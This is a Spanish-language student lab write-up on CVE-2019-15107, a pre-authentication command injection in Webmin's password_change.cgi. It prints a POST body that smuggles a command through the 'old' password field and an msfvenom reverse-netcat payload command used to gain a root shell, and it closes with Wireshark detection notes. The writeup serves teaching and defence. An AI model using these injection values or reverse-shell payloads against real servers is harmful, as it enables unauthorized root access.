
proyecto escolar
I. Resumen de CVE-2019-15107 Webmin es una interfaz basada en web para la administración de sistemas Unix. Con cualquier navegador web, se pueden configurar cuentas de usuario, Apache, DNS, compartir archivos y mucho más. El 10/08/2019, el investigador de seguridad turco Özkan Mustafa Akkuş publicó la vulnerabilidad Zero-day en DefCon; además de publicar la vulnerabilidad, Akkuş también lanzó un módulo de Metasploit para automatizar la explotación de esta vulnerabilidad. Debido a la ejecución de código en la función de restablecimiento de contraseña del archivo password_change.cgi, esta vulnerabilidad permite a un tercero ejecutar código malicioso sin autenticación de entrada.
II. Versiones afectadas Esta vulnerabilidad afecta a las versiones de Webmin desde 1.882 hasta 1.921. Para prevenir esta vulnerabilidad, quienes usan Webmin deberían actualizar a la versión más reciente de Webmin, la 1.93.
III. Análisis de la vulnerabilidad
En Webmin, la función "permitir cambiar la contraseña del usuario" debe estar habilitada para explotar esta vulnerabilidad. Esta es la única condición; sin embargo, muchos administradores de Webmin activan esta función. Esta permite a los usuarios establecer una nueva contraseña con la contraseña anterior. En el código fuente de la aplicación Webmin, hay varios archivos ".cgi" notables. Uno de ellos es password_change.cgi.

Solo hay un requisito para que los parámetros de este archivo funcionen: el valor "passwd_mode" en el archivo de configuración "miniserv.conf" debe establecerse en "2".

En este punto, usaremos "|" leyendo el archivo /etc/shadow durante la verificación de la contraseña anterior. Por ejemplo, el comando normal de cambio de contraseña:

Si insertamos un comando simple como "ifconfig" en el comando de cambio de contraseña, como se muestra a continuación, el comando "ipconfig" se ha ejecutado y se muestra el resultado.

IV. Modelo de implementación
La máquina Ubuntu (víctima) con Webmin versión 1.920 tiene la dirección IP: 192.168.109.128

La máquina Kali (atacante) tiene la dirección IP: 192.168.109.131


V. Explotación de la vulnerabilidad CVE

Luego, la máquina atacante envía esta solicitud a través de la pestaña Repeater de Burp Suite para probar si hay error.

El atacante procede a modificar algunos datos del paquete de solicitud capturado. Para cambiar la contraseña, el método HTTP debe ser POST, no GET como inicialmente.

Luego, la máquina atacante envía una solicitud de cambio de contraseña desde la contraseña anterior al servidor Webmin de la víctima:
"user=test&pam=&old=test&new1=test2&new2=test2"

Al enviar la solicitud, recibimos el mensaje de que la contraseña anterior no coincide (The current password is incorrect), por lo que el núcleo está en el parámetro "old".
A continuación, probamos insertar un comando básico como ifconfig después del parámetro old para que, cuando el servidor verifique la contraseña anterior, también ejecute el comando que insertamos. Por ejemplo:
"user=test&pam=&old=test|ifconfig&new1=test2&new2=test2"

Igual que antes, cuando el servidor verifica la contraseña anterior, sigue siendo incorrecta, pero después de verificarla, el comando "ifconfig" se ha ejecutado y se muestra.
Después, para poder obtener privilegios de root, usaremos el framework Metasploit para crear un payload que se envíe al servidor Webmin de la víctima y así recibir una shell session.
"msfvenom -p cmd/unix/reverse_netcat lhost= lport="

A continuación, copiamos el payload y lo insertamos en la solicitud en Burp Suite.

Después de enviar la solicitud con el payload al servidor Webmin, la máquina víctima ha sido comprometida con una reverse shell. La máquina atacante recibe una sesión de shell hacia la máquina víctima (ip: 192.168.109.128 puerto: 37218).

Así, hemos obtenido root a través de esta vulnerabilidad CVE.

VI. Identificación de la firma del ataque
Usar Wireshark para capturar paquetes en la capa de red.

Dado que para explotar este CVE, el atacante debe basarse en el enlace /password_change.cgi para enviar solicitudes que contengan payloads maliciosos mediante el método POST de HTTP, debemos analizar los paquetes HTTP capturados en Wireshark.

Podemos ver que el comando "ifconfig" se inserta durante el proceso en que el servidor Webmin verifica la contraseña anterior que se desea cambiar.
